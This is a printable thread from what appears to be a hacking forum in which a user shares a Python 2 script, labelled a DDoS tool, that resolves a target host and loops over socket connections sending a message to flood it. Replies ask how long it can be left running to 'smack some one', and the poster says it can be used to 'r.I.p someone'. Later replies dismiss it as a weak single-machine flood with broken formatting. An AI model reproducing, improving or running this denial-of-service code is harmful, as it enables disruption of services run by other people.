![]() |
|
Python DDoS Script - Printable Version +- Sinisterly (https://sinister.li) +-- Forum: Coding (https://sinister.li/Forum-Coding) +--- Forum: Python (https://sinister.li/Forum-Python) +--- Thread: Python DDoS Script (/Thread-Python-DDoS-Script) |
Python DDoS Script - ben - 10-01-2017 import time import socket import os import sys import string #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# def restart_program(): python = sys.executable os.execl(python, python, * sys.argv) curdir = os.getcwd() #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# print ("DDoS mode loaded") host=raw_input( "www.directkvs.com:" ) port=input( "2970:" ) message=raw_input( "thanks:" ) conn=input( "5000:" ) ip = socket.gethostbyname( host ) print ("[" + ip + "]") print ( "[Ip is locked]" ) print ( "[Attacking " + host + "]" ) print ("+----------------------------+") def dos(): #pid = os.fork() ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: ddos.connect((host, 80)) ddos.send( message ) ddos.sendto( message, (ip, port) ) ddos.send( message ); except socket.error, msg: print("|[Connection Failed] |") print ( "|[DDoS Attack Engaged] |") ddos.close() for i in range(1, conn): dos() print ("+----------------------------+") print("The connections you requested had finished") if __name__ == "__main__": answer = raw_input("Do you want to ddos more?") if answer.strip() in "y Y yes Yes YES".split(): restart_program() else: os.system(curdir+"\Deq\main.py") #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# RE: Python DDoS Script - Slacker - 10-01-2017 Thanks is for the share. How powerful is this? And is there a set time limit you can execute this towards some one (like can I put it on for a if ignorantly long time and just let it smack some one? RE: Python DDoS Script - ben - 10-01-2017 (10-01-2017, 07:52 PM)Slacker Wrote: Thanks is for the share. Personally have forgotten, found this in a bunch of old scriots, and no, if I'm correct ypu can just leave it to r.I.p someone RE: Python DDoS Script - boobyboy - 10-09-2017 I don't think you know the difference between DDos/DoS RE: Python DDoS Script - tvojaMama - 10-16-2017 (10-09-2017, 05:36 PM)boobyboy Wrote: I don't think you know the difference between DDos/DoS Exactly, the 1st D for distributed is there for a reason
RE: Python DDoS Script - chuj21 - 03-04-2018 You know if this is still working? Thanks for the share. RE: Python DDoS Script - Bish0pQ - 03-05-2018 (03-04-2018, 12:03 AM)chuj21 Wrote: You know if this is still working? Thanks for the share. This might still work but it won't do much. First of all it's not a distributed attack. Computers nowadays can't Dos a site on their own usually. Also, this script is a glorified ("ping -t -l 65000" in cmd.exe). This basically sends a lot of packages to the server but chances that it'll crash is very small. RE: Python DDoS Script - Supra - 07-01-2018 This is basically just heavier pinging, doesn't even use a fast library for connectivity, it's missing indentation in this form (? for me at least ?) and is a bit of a mess, code-wise. Good base for learning however. |